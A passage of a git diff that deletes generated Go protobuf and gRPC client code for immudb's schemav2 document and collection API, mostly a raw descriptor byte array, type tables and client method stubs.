0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, - 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x62, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x48, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, - 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, - 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x38, 0x0a, 0x11, 0x50, 0x6f, 0x73, - 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, - 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, - 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, - 0x47, 0x10, 0x02, 0x32, 0xd3, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x56, 0x32, 0x12, 0x76, 0x0a, 0x07, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x56, 0x32, - 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, - 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, - 0x32, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x73, 0x79, 0x73, 0x74, - 0x65, 0x6d, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, - 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x81, 0x01, - 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x8d, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x94, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, - 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x88, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, - 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, - 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x81, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x2b, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbb, 0x01, 0x5a, 0x2d, 0x67, 0x69, - 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, - 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, - 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x92, 0x41, 0x88, 0x01, 0x12, - 0x14, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, - 0x50, 0x49, 0x20, 0x76, 0x32, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x59, - 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, - 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, - 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, - 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} - -var ( - file_schemav2_proto_rawDescOnce sync.Once - file_schemav2_proto_rawDescData = file_schemav2_proto_rawDesc -) - -func file_schemav2_proto_rawDescGZIP() []byte { - file_schemav2_proto_rawDescOnce.Do(func() { - file_schemav2_proto_rawDescData = protoimpl.X.CompressGZIP(file_schemav2_proto_rawDescData) - }) - return file_schemav2_proto_rawDescData -} - -var file_schemav2_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_schemav2_proto_msgTypes = make([]protoimpl.MessageInfo, 17) -var file_schemav2_proto_goTypes = []interface{}{ - (QueryOperator)(0), // 0: immudb.schemav2.QueryOperator - (PossibleIndexType)(0), // 1: immudb.schemav2.PossibleIndexType - (*DocumentInsertRequest)(nil), // 2: immudb.schemav2.DocumentInsertRequest - (*DocumentQuery)(nil), // 3: immudb.schemav2.DocumentQuery - (*DocumentSearchRequest)(nil), // 4: immudb.schemav2.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 5: immudb.schemav2.DocumentSearchResponse - (*LoginRequest)(nil), // 6: immudb.schemav2.LoginRequest - (*LoginResponseV2)(nil), // 7: immudb.schemav2.LoginResponseV2 - (*CollectionCreateRequest)(nil), // 8: immudb.schemav2.CollectionCreateRequest - (*CollectionInformation)(nil), // 9: immudb.schemav2.CollectionInformation - (*CollectionGetRequest)(nil), // 10: immudb.schemav2.CollectionGetRequest - (*CollectionListRequest)(nil), // 11: immudb.schemav2.CollectionListRequest - (*CollectionListResponse)(nil), // 12: immudb.schemav2.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 13: immudb.schemav2.CollectionDeleteRequest - (*Proof)(nil), // 14: immudb.schemav2.Proof - nil, // 15: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry - nil, // 16: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry - nil, // 17: immudb.schemav2.CollectionInformation.PrimaryKeysEntry - nil, // 18: immudb.schemav2.CollectionInformation.IndexKeysEntry - (*_struct.Struct)(nil), // 19: google.protobuf.Struct - (*_struct.Value)(nil), // 20: google.protobuf.Value - (*schema.VerifiableTx)(nil), // 21: immudb.schema.VerifiableTx - (*empty.Empty)(nil), // 22: google.protobuf.Empty -} -var file_schemav2_proto_depIdxs = []int32{ - 19, // 0: immudb.schemav2.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 0, // 1: immudb.schemav2.DocumentQuery.operator:type_name -> immudb.schemav2.QueryOperator - 20, // 2: immudb.schemav2.DocumentQuery.value:type_name -> google.protobuf.Value - 3, // 3: immudb.schemav2.DocumentSearchRequest.query:type_name -> immudb.schemav2.DocumentQuery - 19, // 4: immudb.schemav2.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 15, // 5: immudb.schemav2.CollectionCreateRequest.primaryKeys:type_name -> immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry - 16, // 6: immudb.schemav2.CollectionCreateRequest.indexKeys:type_name -> immudb.schemav2.CollectionCreateRequest.IndexKeysEntry - 17, // 7: immudb.schemav2.CollectionInformation.primaryKeys:type_name -> immudb.schemav2.CollectionInformation.PrimaryKeysEntry - 18, // 8: immudb.schemav2.CollectionInformation.indexKeys:type_name -> immudb.schemav2.CollectionInformation.IndexKeysEntry - 9, // 9: immudb.schemav2.CollectionListResponse.collections:type_name -> immudb.schemav2.CollectionInformation - 1, // 10: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType - 1, // 11: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType - 1, // 12: immudb.schemav2.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType - 1, // 13: immudb.schemav2.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexType - 6, // 14: immudb.schemav2.ImmuServiceV2.LoginV2:input_type -> immudb.schemav2.LoginRequest - 2, // 15: immudb.schemav2.ImmuServiceV2.DocumentInsert:input_type -> immudb.schemav2.DocumentInsertRequest - 4, // 16: immudb.schemav2.ImmuServiceV2.DocumentSearch:input_type -> immudb.schemav2.DocumentSearchRequest - 8, // 17: immudb.schemav2.ImmuServiceV2.CollectionCreate:input_type -> immudb.schemav2.CollectionCreateRequest - 10, // 18: immudb.schemav2.ImmuServiceV2.CollectionGet:input_type -> immudb.schemav2.CollectionGetRequest - 11, // 19: immudb.schemav2.ImmuServiceV2.CollectionList:input_type -> immudb.schemav2.CollectionListRequest - 13, // 20: immudb.schemav2.ImmuServiceV2.CollectionDelete:input_type -> immudb.schemav2.CollectionDeleteRequest - 7, // 21: immudb.schemav2.ImmuServiceV2.LoginV2:output_type -> immudb.schemav2.LoginResponseV2 - 21, // 22: immudb.schemav2.ImmuServiceV2.DocumentInsert:output_type -> immudb.schema.VerifiableTx - 5, // 23: immudb.schemav2.ImmuServiceV2.DocumentSearch:output_type -> immudb.schemav2.DocumentSearchResponse - 9, // 24: immudb.schemav2.ImmuServiceV2.CollectionCreate:output_type -> immudb.schemav2.CollectionInformation - 9, // 25: immudb.schemav2.ImmuServiceV2.CollectionGet:output_type -> immudb.schemav2.CollectionInformation - 12, // 26: immudb.schemav2.ImmuServiceV2.CollectionList:output_type -> immudb.schemav2.CollectionListResponse - 22, // 27: immudb.schemav2.ImmuServiceV2.CollectionDelete:output_type -> google.protobuf.Empty - 21, // [21:28] is the sub-list for method output_type - 14, // [14:21] is the sub-list for method input_type - 14, // [14:14] is the sub-list for extension type_name - 14, // [14:14] is the sub-list for extension extendee - 0, // [0:14] is the sub-list for field type_name -} - -func init() { file_schemav2_proto_init() } -func file_schemav2_proto_init() { - if File_schemav2_proto != nil { - return - } - if !protoimpl.UnsafeEnabled { - file_schemav2_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentQuery); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoginRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoginResponseV2); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionInformation); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_schemav2_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Proof); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } - type x struct{} - out := protoimpl.TypeBuilder{ - File: protoimpl.DescBuilder{ - GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_schemav2_proto_rawDesc, - NumEnums: 2, - NumMessages: 17, - NumExtensions: 0, - NumServices: 1, - }, - GoTypes: file_schemav2_proto_goTypes, - DependencyIndexes: file_schemav2_proto_depIdxs, - EnumInfos: file_schemav2_proto_enumTypes, - MessageInfos: file_schemav2_proto_msgTypes, - }.Build() - File_schemav2_proto = out.File - file_schemav2_proto_rawDesc = nil - file_schemav2_proto_goTypes = nil - file_schemav2_proto_depIdxs = nil -} diff --git a/pkg/api/schemav2/schemav2_grpc.pb.go b/pkg/api/schemav2/schemav2_grpc.pb.go deleted file mode 100644 index 3921607d6b..0000000000 --- a/pkg/api/schemav2/schemav2_grpc.pb.go +++ /dev/null @@ -1,317 +0,0 @@ -// Code generated by protoc-gen-go-grpc. DO NOT EDIT. - -package schemav2 - -import ( - context "context" - schema "github.com/codenotary/immudb/pkg/api/schema" - empty "github.com/golang/protobuf/ptypes/empty" - grpc "google.golang.org/grpc" - codes "google.golang.org/grpc/codes" - status "google.golang.org/grpc/status" -) - -// This is a compile-time assertion to ensure that this generated file -// is compatible with the grpc package it is being compiled against. -// Requires gRPC-Go v1.32.0 or later. -const _ = grpc.SupportPackageIsVersion7 - -// ImmuServiceV2Client is the client API for ImmuServiceV2 service. -// -// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. -type ImmuServiceV2Client interface { - LoginV2(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponseV2, error) - DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) - DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) - CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) - CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionInformation, error) - CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) - CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) -} - -type immuServiceV2Client struct { - cc grpc.ClientConnInterface -} - -func NewImmuServiceV2Client(cc grpc.ClientConnInterface) ImmuServiceV2Client { - return &immuServiceV2Client{cc} -} - -func (c *immuServiceV2Client) LoginV2(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponseV2, error) { - out := new(LoginResponseV2) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/LoginV2", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { - out := new(schema.VerifiableTx) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/DocumentInsert", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { - out := new(DocumentSearchResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/DocumentSearch", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) 